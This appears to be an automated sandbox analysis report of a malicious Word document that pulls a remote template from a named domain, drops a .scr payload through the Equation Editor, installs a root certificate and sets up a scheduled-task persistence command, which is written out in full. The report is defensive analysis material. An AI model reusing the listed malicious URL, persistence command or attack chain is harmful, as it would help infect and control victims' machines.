Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, EAjgrar6JjgJlO01q9.cs	High entropy of concatenated method names: 'aSRFjlyn2x', 'vxRFwAFjdh', 'jryFKcHqba', 'fHVFqHDoJF', 'UK6FvAkYsr', 'LDgFsd5Y1Q', 'NYIFhi8moa', 'mf8FIVq6Fn', 'lduFBZwfXs', 'hBwFAIj86Z'
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, Ii3oNOI3i98I4b04u6.cs	High entropy of concatenated method names: 'XP4CtRh3Rw', 'uk8Cl6BJ4p', 'Ov5Cj5O8Un', 'PEhCwQyQDa', 'd4PCZqsr3O', 'adOCdCmPCL', 'r8JC6TUyKA', 'JacC2ZdWhA', 'FniCurWda9', 'CSLCW1I9nQ'
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, bAbhZUjcvmmSaJhbsMu.cs	High entropy of concatenated method names: 'a1QuL0NrFj', 'ONVuPaqeba', 'INZuG8RCQ2', 'VKZutCaFmt', 'WfLub5VBqG', 'w6huld8LP4', 'W9Hup6uLp7', 'lPLujRbM8p', 'vh6uwnK1Dx', 'ba9u8JVBns'
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, pTdTlrEvmDRRL24B7c.cs	High entropy of concatenated method names: 'qdRRLd68xx', 'lYIRPM5JdT', 'v2NRGGqMUw', 'E0NRtcHWQm', 'XKCRbYYOpw', 'KGORlovOAo', 'ke6Rp4c9Iy', 'QlqRjDVbOK', 'qC3RwabaDR', 'ResR8jShpu'
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, VbQFPTPSSxlurm7Wrc.cs	High entropy of concatenated method names: 'ToString', 'cmUdAoPhyV', 'yUYdqR2gjr', 'PQBd1RjlCh', 'xXmdvsCk0W', 'o8adscFbKZ', 'QMydS4V73y', 'VP3dhSoxI5', 'KwCdIb2vYd', 'q7FdkcfdiR'
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, dbodLQg9g3GrmB8wGu.cs	High entropy of concatenated method names: 'FwMufWDisn', 'uFUu0XS7Hm', 'spAuNCsuSQ', 'wgFueLJeUB', 'JmTuicD9Bv', 'X45uai6KN5', 'x22ucnVePH', 'xkB2T8DDnE', 'cFQ2rxbPH5', 'Syo2JdYRsB'
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, QQ1L22qkxrIU3E6iOb.cs	High entropy of concatenated method names: 'cTOZBFPV2q', 'wGAZVtmrmD', 'RLGZYVLWlq', 'NeFZXcUB27', 'tWiZqouw15', 'kDxZ10LenO', 'acJZvcUTuS', 'GflZs32HuT', 'kNFZSQcZoH', 'AkUZhGN0MA'
Source: 10.2.swagodi78811.scr.3483cd0.5.raw.unpack, vOisVsp2ujdyCRDr6Q.cs	High entropy of concatenated method names: 'K2J6rGwcc3', 'rT265rhMrY', 'gaI2gntTs8', 'apL2fUpbUs', 'I0M6AwqGw8', 'Quj6VvdrUi', 'i1m6xnhB7E', 'xhH6YkTWZT', 'RT56XrsYb3', 'q5u6DgDon5'
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, j3BhvJfAOoaHD0q32a.cs	High entropy of concatenated method names: 'oCj2eDBcCM', 'JaW2iA9Shr', 'ddt2ClWngX', 'FIY2aAsKsC', 'p1U2ciuS8Z', 'W8a2R6Qk6O', 'RK22m0CAQS', 'VH823G70HW', 'rZE2MquQ1x', 'xS42oL7F1b'
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, HJDXHuKnd7XJBuPZf8.cs	High entropy of concatenated method names: 'VQwabmJbTU', 'YA1apxOieF', 'PDpC1Jwrfu', 'p4qCvpYjob', 'ELPCsoNZJB', 'Y3mCSof5J3', 'DE0ChOHF2L', 'EMICI31HMa', 'YcKCk7pH9G', 'XeFCB6xw5g'
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, qQF8AtuGm7BarQ18w7.cs	High entropy of concatenated method names: 'osJGfVktE', 'yijtXqxT0', 'H9dlqJ1vP', 'l0tpnoGrT', 'hiFw20lAp', 'nnm8PcMMq', 'rguij3rCiOn6f9gJi0', 'PB6ujyyY1f7AbyHI8I', 'p7p2OvtQZ', 'ksLWAKYLu'
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, z6pv7rdU5kvjgZPMj0.cs	High entropy of concatenated method names: 'Dispose', 'nW9fJC7Y49', 'DbSyqXsEqa', 'F4S44OKEic', 'dBqf5eebKK', 'bmCfzmgl0C', 'ProcessDialogKey', 'Em9ygDklGk', 'oUryfpdjQR', 'SSUyySyXDq'
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, FUjasOohxIjsRf91GS.cs	High entropy of concatenated method names: 'QY7iYDoJHp', 'HGniXUdcD2', 'qaeiDhlvpC', 'fXZindkmGt', 'Qdbi7EY5ul', 'yFjiHZXGLb', 'VkgiTNqoxL', 'mt3irTCkBH', 'po4iJKsJYx', 'WkKi5YeoWS'
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, j8Qml7kLfnNplRy1hI.cs	High entropy of concatenated method names: 'DOt2KMq3tY', 'rcR2qVb5bW', 'pOH21Mf1R0', 'KYX2vQlNAY', 'Clc2Y9w2VL', 'Usq2sk1HZ1', 'Next', 'Next', 'Next', 'NextBytes'
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, EBUmNYVABALmIokp9f.cs	High entropy of concatenated method names: 'Y0wReJBW83', 'kRIRCa3nF5', 'DBGRcmxh28', 'qUSc57WdB3', 'Twacz4txuK', 'aQZRg4qWQl', 'iJRRfmHiMd', 'FpLRymxihp', 'HHDR0n8o0R', 'RIDRNVvTaT'
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, fgdXJt4fnOeV6XjIJC.cs	High entropy of concatenated method names: 'aZF0EdgrJe', 'XCE0eNq9fR', 'oh80iGKxUq', 'Gcd0CnkGDE', 'QoV0ai0QbB', 'BaS0cwTBbG', 'QVt0Rd984F', 'Ctb0m4CNRf', 'XG403njMfh', 'G1b0MNIsyQ'
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, vPbiHgzJKkLT4EtXh3.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'PbYuFdJMwo', 'CjcuZxY51I', 'GP4udf1xpT', 'Coau61FgV5', 'Vavu2BTrfo', 'KfQuuIFyY8', 'KcwuWRKZn4'
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, OK3X7QZlBJ2Zm72Re2.cs	High entropy of concatenated method names: 'W5dcEHYqZd', 'u04ciTu9P4', 'IjUcak9BTV', 'wPicRDNdtP', 'AtkcmSDl9T', 'JRUa7jb0e8', 'xhyaHNAwU7', 'dIEaTR3t5S', 'RRfarKYrOd', 'dE2aJjBOcd'
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, BxSxBGjWdM9kRNhawOJ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'uLyWYQt1J1', 'ntAWXjb1oF', 'tMbWDQXAA4', 'yyvWnOhsqR', 'xwMW7b4QF9', 'u9LWH62pAZ', 'w5BWTq7rLQ'
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, MyqKeWG6lullt0slAL.cs	High entropy of concatenated method names: 'qoTfRfySDo', 'WDUfmARhGB', 'D5DfMTcmKU', 'hpvfoT1iK1', 'gJpfZgtP6h', 'KQHfduWWyQ', 'rpcRSoIBQ57BUDmqdc', 'pt9w83Gsp9iPf1InfV', 'FcEnRUpTEb5MKOcRhJ', 's4xff3HfnC'
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, EAjgrar6JjgJlO01q9.cs	High entropy of concatenated method names: 'aSRFjlyn2x', 'vxRFwAFjdh', 'jryFKcHqba', 'fHVFqHDoJF', 'UK6FvAkYsr', 'LDgFsd5Y1Q', 'NYIFhi8moa', 'mf8FIVq6Fn', 'lduFBZwfXs', 'hBwFAIj86Z'
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, Ii3oNOI3i98I4b04u6.cs	High entropy of concatenated method names: 'XP4CtRh3Rw', 'uk8Cl6BJ4p', 'Ov5Cj5O8Un', 'PEhCwQyQDa', 'd4PCZqsr3O', 'adOCdCmPCL', 'r8JC6TUyKA', 'JacC2ZdWhA', 'FniCurWda9', 'CSLCW1I9nQ'
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, bAbhZUjcvmmSaJhbsMu.cs	High entropy of concatenated method names: 'a1QuL0NrFj', 'ONVuPaqeba', 'INZuG8RCQ2', 'VKZutCaFmt', 'WfLub5VBqG', 'w6huld8LP4', 'W9Hup6uLp7', 'lPLujRbM8p', 'vh6uwnK1Dx', 'ba9u8JVBns'
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, pTdTlrEvmDRRL24B7c.cs	High entropy of concatenated method names: 'qdRRLd68xx', 'lYIRPM5JdT', 'v2NRGGqMUw', 'E0NRtcHWQm', 'XKCRbYYOpw', 'KGORlovOAo', 'ke6Rp4c9Iy', 'QlqRjDVbOK', 'qC3RwabaDR', 'ResR8jShpu'
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, VbQFPTPSSxlurm7Wrc.cs	High entropy of concatenated method names: 'ToString', 'cmUdAoPhyV', 'yUYdqR2gjr', 'PQBd1RjlCh', 'xXmdvsCk0W', 'o8adscFbKZ', 'QMydS4V73y', 'VP3dhSoxI5', 'KwCdIb2vYd', 'q7FdkcfdiR'
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, dbodLQg9g3GrmB8wGu.cs	High entropy of concatenated method names: 'FwMufWDisn', 'uFUu0XS7Hm', 'spAuNCsuSQ', 'wgFueLJeUB', 'JmTuicD9Bv', 'X45uai6KN5', 'x22ucnVePH', 'xkB2T8DDnE', 'cFQ2rxbPH5', 'Syo2JdYRsB'
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, QQ1L22qkxrIU3E6iOb.cs	High entropy of concatenated method names: 'cTOZBFPV2q', 'wGAZVtmrmD', 'RLGZYVLWlq', 'NeFZXcUB27', 'tWiZqouw15', 'kDxZ10LenO', 'acJZvcUTuS', 'GflZs32HuT', 'kNFZSQcZoH', 'AkUZhGN0MA'
Source: 10.2.swagodi78811.scr.4630000.8.raw.unpack, vOisVsp2ujdyCRDr6Q.cs	High entropy of concatenated method names: 'K2J6rGwcc3', 'rT265rhMrY', 'gaI2gntTs8', 'apL2fUpbUs', 'I0M6AwqGw8', 'Quj6VvdrUi', 'i1m6xnhB7E', 'xhH6YkTWZT', 'RT56XrsYb3', 'q5u6DgDon5'

Persistence and Installation Behavior

Microsoft Office launches external ms-search protocol handler (WebDAV)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File opened: \Device\RdpDr\;:1\meridianresourcellc.top@SSL\DavWWWRoot			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File opened: \Device\RdpDr\;:1\meridianresourcellc.top@SSL\DavWWWRoot			Jump to behavior

Contains an external reference to another file

Source: settings.xml.rels

Extracted files from sample: https://meridianresourcellc.top/swagodi.doc

Drops PE files with a suspicious file extension

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\swagodi78811.scr			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\swagodi[1].scr			Jump to dropped file

Installs new ROOT certificates

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob

Jump to behavior

Office drops RTF file

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File dump: swagodi[1].doc.0.dr			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File dump: 9F4A4ED3.doc.0.dr			Jump to dropped file

Office viewer loads remote template

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Section loaded: netapi32.dll and davhlpr.dll loaded

Jump to behavior

Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	File created: C:\Users\user\AppData\Roaming\gRpkBp.exe	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\swagodi78811.scr	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\swagodi[1].scr	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Roaming\swagodi78811.scr

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gRpkBp" /XML "C:\Users\user\AppData\Local\Temp\tmpD135.tmp"

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
